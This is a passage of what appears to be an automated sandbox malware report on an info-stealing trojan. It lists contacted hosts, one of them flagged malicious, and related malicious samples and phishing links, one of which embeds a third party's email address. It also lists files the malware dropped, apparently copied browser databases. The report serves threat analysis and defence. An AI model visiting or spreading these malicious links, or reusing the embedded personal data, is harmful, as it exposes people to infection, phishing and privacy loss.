http://anglebug.com/3624	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.15.dr, 000003.log2.15.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 0000000B.00000003.1712802741.0000009C004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708439027.0000009C00CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718391002.0000009C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718160839.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715124461.0000009C00CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718131654.0000009C0033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708377791.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1713107680.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1713149844.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	CYA75gigem.exe	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tidal.com/	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
2.22.242.11	a416.dscd.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	a-0016.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
95.101.182.8	e28578.d.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
20.42.65.91	onedscolprdeus17.eastus.cloudapp.azure.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
88.99.124.230	webdisk.lodrat.org	Germany	24940	HETZNER-ASDE	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.142	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1614874
Start date and time:	2025-02-14 08:23:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CYA75gigem.exe renamed because original name is a hash value
Original Sample Name:	c063144d97874cb1e7edf5bdb84c3599.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@70/270@16/16
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 63 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.186.163, 74.125.71.84, 142.250.186.78, 142.250.185.206, 142.250.185.99, 142.250.186.74, 142.250.185.202, 142.250.185.74, 142.250.74.202, 142.250.185.106, 172.217.16.202, 142.250.185.234, 142.250.185.170, 216.58.206.42, 142.250.186.42, 142.250.181.234, 216.58.206.74, 142.250.186.138, 142.250.185.138, 172.217.23.106, 142.250.186.106, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.211.159.152, 88.221.110.179, 88.221.110.195, 184.86.251.27, 184.86.251.22, 184.86.251.19, 184.86.251.24, 184.86.251.20, 184.86.251.30, 184.86.251.28, 184.86.251.21, 184.86.251.16, 2.19.122.9, 2.19.122.15, 2.19.122.11, 2.19.122.16, 2.19.122.5, 2.19.122.13, 2.19.122.14, 2.19.122.12, 2.19.122.6, 4.231.66.184, 2.22.242.82, 2.22.242.121, 23.57.90.81, 23.57.90.70, 2.23.227.208, 2.23.227.215, 199.232.214.172, 13.107.253.45, 4.175.87.197, 52.165.164.15, 4.245.163.56, 2.19.106.160, 94.245.104.56, 20.190.160.67, 150.171.28.10
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, time.windows.com, prod-agic-we-4.westeurope.cloudapp.azure.com, redirector.gvt1.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.m
Execution Graph export aborted for target CYA75gigem.exe, PID 6856 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.74.129.1	N11R7lRasm.exe	Get hash	malicious	Vidar	Browse
	https://forms.office.com/e/AZqcTu03uu	Get hash	malicious	Unknown	Browse
	https://eur01.safelinks.protection.outlook.com/ap/w-59584e83/?url=https%3A%2F%2Finnerworks621-my.sharepoint.com%2F%3Aw%3A%2Fg%2Fpersonal%2Ffbayoumi_iwexpress_com%2FEV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ%3Fe%3DPJWGhb&data=05%7C02%7Cm.schwarzfaerber%40gutmann.de%7Cba71d958cbce4017fe2b08dd4c1498cf%7Cb8afaafb131d4ce28085e6ff7718d438%7C0%7C0%7C638750373515189602%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=jFoC7e8%2BnChKZDPYgfO8Z0D6BEVH0spDWEnRRVzuauE%3D&reserved=0	Get hash	malicious	Unknown	Browse
	https://innerworks621-my.sharepoint.com/:w:/g/personal/fbayoumi_iwexpress_com/EV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ?rtime=X7A0bhVM3Ug	Get hash	malicious	Unknown	Browse
	bestgirlfriendformylifesheismygirlmyonly.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Trojan.Agent.U8LJFD.31222.29577.exe	Get hash	malicious	Vidar	Browse
	http://fedx-express.top/	Get hash	malicious	Unknown	Browse
	pothjasefdj.exe	Get hash	malicious	Vidar	Browse
2.22.242.11	https://eur01.safelinks.protection.outlook.com/ap/w-59584e83/?url=https%3A%2F%2Finnerworks621-my.sharepoint.com%2F%3Aw%3A%2Fg%2Fpersonal%2Ffbayoumi_iwexpress_com%2FEV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ%3Fe%3DPJWGhb&data=05%7C02%7Cm.schwarzfaerber%40gutmann.de%7Cba71d958cbce4017fe2b08dd4c1498cf%7Cb8afaafb131d4ce28085e6ff7718d438%7C0%7C0%7C638750373515189602%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=jFoC7e8%2BnChKZDPYgfO8Z0D6BEVH0spDWEnRRVzuauE%3D&reserved=0	Get hash	malicious	Unknown	Browse
	bestgirlfriendformylifesheismygirlmyonly.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Trojan.Agent.U8LJFD.31222.29577.exe	Get hash	malicious	Vidar	Browse
	pothjasefdj.exe	Get hash	malicious	Vidar	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	bot2.exe	Get hash	malicious	Python Stealer, Braodo	Browse
	seethebestthingswithbstteamworkgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse
	random.exe	Get hash	malicious	Vidar	Browse
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	Howard.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://woodfordservicecentre.craft.me/iz204wmfgdyEOm	Get hash	malicious	Unknown	Browse	104.21.27.108
	http://result526.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://telegram.outsmarttookurmoney.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://coinatrx.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://waaws.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	Howard_patched.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	main.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	qNXDfsU2K7.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	H5S6rm5oQ9.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
a416.dscd.akamai.net	rgIYxoflou.lnk	Get hash	malicious	Unknown	Browse	2.16.164.33
	N11R7lRasm.exe	Get hash	malicious	Vidar	Browse	2.22.242.105
	https://eur01.safelinks.protection.outlook.com/ap/w-59584e83/?url=https%3A%2F%2Finnerworks621-my.sharepoint.com%2F%3Aw%3A%2Fg%2Fpersonal%2Ffbayoumi_iwexpress_com%2FEV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ%3Fe%3DPJWGhb&data=05%7C02%7Cm.schwarzfaerber%40gutmann.de%7Cba71d958cbce4017fe2b08dd4c1498cf%7Cb8afaafb131d4ce28085e6ff7718d438%7C0%7C0%7C638750373515189602%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=jFoC7e8%2BnChKZDPYgfO8Z0D6BEVH0spDWEnRRVzuauE%3D&reserved=0	Get hash	malicious	Unknown	Browse	2.22.242.11
	https://innerworks621-my.sharepoint.com/:w:/g/personal/fbayoumi_iwexpress_com/EV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ?rtime=X7A0bhVM3Ug	Get hash	malicious	Unknown	Browse	2.22.242.105
	bestgirlfriendformylifesheismygirlmyonly.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	2.22.242.11
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse	2.22.242.11
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse	2.16.164.33
	SecuriteInfo.com.Win32.Trojan.Agent.U8LJFD.31222.29577.exe	Get hash	malicious	Vidar	Browse	2.22.242.11
	pothjasefdj.exe	Get hash	malicious	Vidar	Browse	2.22.242.11
	nbyiksfthaed.exe	Get hash	malicious	Vidar	Browse	2.22.242.105
webdisk.lodrat.org	main.exe	Get hash	malicious	Vidar	Browse	88.99.124.230
a-0003.a-msedge.net	N11R7lRasm.exe	Get hash	malicious	Vidar	Browse	204.79.197.203
	https://eur01.safelinks.protection.outlook.com/ap/w-59584e83/?url=https%3A%2F%2Finnerworks621-my.sharepoint.com%2F%3Aw%3A%2Fg%2Fpersonal%2Ffbayoumi_iwexpress_com%2FEV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ%3Fe%3DPJWGhb&data=05%7C02%7Cm.schwarzfaerber%40gutmann.de%7Cba71d958cbce4017fe2b08dd4c1498cf%7Cb8afaafb131d4ce28085e6ff7718d438%7C0%7C0%7C638750373515189602%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=jFoC7e8%2BnChKZDPYgfO8Z0D6BEVH0spDWEnRRVzuauE%3D&reserved=0	Get hash	malicious	Unknown	Browse	204.79.197.203
	https://innerworks621-my.sharepoint.com/:w:/g/personal/fbayoumi_iwexpress_com/EV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ?rtime=X7A0bhVM3Ug	Get hash	malicious	Unknown	Browse	204.79.197.203
	bestgirlfriendformylifesheismygirlmyonly.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	204.79.197.203
	FCEI-job-notification.doc	Get hash	malicious	Discord Token Stealer	Browse	204.79.197.203
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse	204.79.197.203
	PI3b9Y973c.exe	Get hash	malicious	Unknown	Browse	204.79.197.203
	SecuriteInfo.com.Win32.Trojan.Agent.U8LJFD.31222.29577.exe	Get hash	malicious	Vidar	Browse	204.79.197.203
	SecuriteInfo.com.TrojanLoader.MSIL.DaVinci.Heur.10350.31223.exe	Get hash	malicious	FormBook	Browse	204.79.197.203
	pothjasefdj.exe	Get hash	malicious	Vidar	Browse	204.79.197.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA SOLICITADA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://news.b-link.fr/d?p00bbciy0cqje600d0000h6y00000000c72w7g7ifgj3dlplexgvlf0000000s000000ip35uou&lk=bllp67adfdc2260aa	Get hash	malicious	Unknown	Browse	13.107.42.14
	SecuriteInfo.com.Heur.25555.7765.xls	Get hash	malicious	Unknown	Browse	13.107.253.45
	Febrero 2025.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	PO-KA2982202115-26.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.44
	SWIFT COPY.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://woodfordservicecentre.craft.me/iz204wmfgdyEOm	Get hash	malicious	Unknown	Browse	191.238.76.193
	res.m68k.elf	Get hash	malicious	Unknown	Browse	21.88.231.242
	res.mips.elf	Get hash	malicious	Unknown	Browse	21.169.52.179
	res.sh4.elf	Get hash	malicious	Unknown	Browse	70.37.79.67
	res.spc.elf	Get hash	malicious	Unknown	Browse	22.11.61.195
AKAMAI-ASN1EU	https://news.b-link.fr/d?p00bbciy0cqje600d0000h6y00000000c72w7g7ifgj3dlplexgvlf0000000s000000ip35uou&lk=bllp67adfdc2260aa	Get hash	malicious	Unknown	Browse	2.16.164.35
	t5vT1k9gg6.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, PureLog Stealer, RedLine, Xorist, zgRAT	Browse	23.197.127.21
	rgIYxoflou.lnk	Get hash	malicious	Unknown	Browse	2.16.164.33
	http://ringcentral.co	Get hash	malicious	Unknown	Browse	88.221.110.26
	Howard.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	http://mm-2.uxr919zm.eu.org/	Get hash	malicious	Unknown	Browse	2.21.65.135
	http://liefrung.neu.planen.18-193-117-123.cprapid.com/app/update.php?3	Get hash	malicious	Unknown	Browse	2.22.242.138
	https://bodensee.immo/verify	Get hash	malicious	Unknown	Browse	2.22.242.121
	http://cgcudtuctydcgujtd.d3e0e9479pu9h0.amplifyapp.com/	Get hash	malicious	TechSupportScam	Browse	23.215.18.210
	http://case0125786-handling-help.vercel.app/	Get hash	malicious	Unknown	Browse	23.67.132.99
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://news.b-link.fr/d?p00bbciy0cqje600d0000h6y00000000c72w7g7ifgj3dlplexgvlf0000000s000000ip35uou&lk=bllp67adfdc2260aa	Get hash	malicious	Unknown	Browse	13.107.42.14
	SecuriteInfo.com.Heur.25555.7765.xls	Get hash	malicious	Unknown	Browse	13.107.253.45
	Febrero 2025.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	PO-KA2982202115-26.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.44
	SWIFT COPY.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://woodfordservicecentre.craft.me/iz204wmfgdyEOm	Get hash	malicious	Unknown	Browse	191.238.76.193
	res.m68k.elf	Get hash	malicious	Unknown	Browse	21.88.231.242
	res.mips.elf	Get hash	malicious	Unknown	Browse	21.169.52.179
	res.sh4.elf	Get hash	malicious	Unknown	Browse	70.37.79.67
	res.spc.elf	Get hash	malicious	Unknown	Browse	22.11.61.195

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	runner.ps1	Get hash	malicious	Unknown	Browse	88.99.124.230 149.154.167.99
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	MAERSK Shipping Document - Bill of Lading - SWB Receipt - Packing List_PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	88.99.124.230 149.154.167.99
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	88.99.124.230 149.154.167.99
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	88.99.124.230 149.154.167.99

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\jmo89\5fuk68

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08441928760034874
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vI:51zkVmvQhyn+Zoz67V
MD5:	2ABDC5DBC05C0C5CE5E1EB6D6E8C1B0D
SHA1:	14DFBE9B28D033542357D98005239D842A16FCFD
SHA-256:	91F1008439BD28B09EC1FC851F2679DFBAA45B27409882AD899CEF8460A036AF
SHA-512:	DD4BD1407DFDC90BC97F5940A120CCDE7D4A6DAA3E0DB1649BED96EBE52FFDF879E52E028657F954FF39A93EEE8F57694A7EAC55D85CA57AF2BBD7A7793B9030
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\8y58gl

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\cbimyu

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\eknyus

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
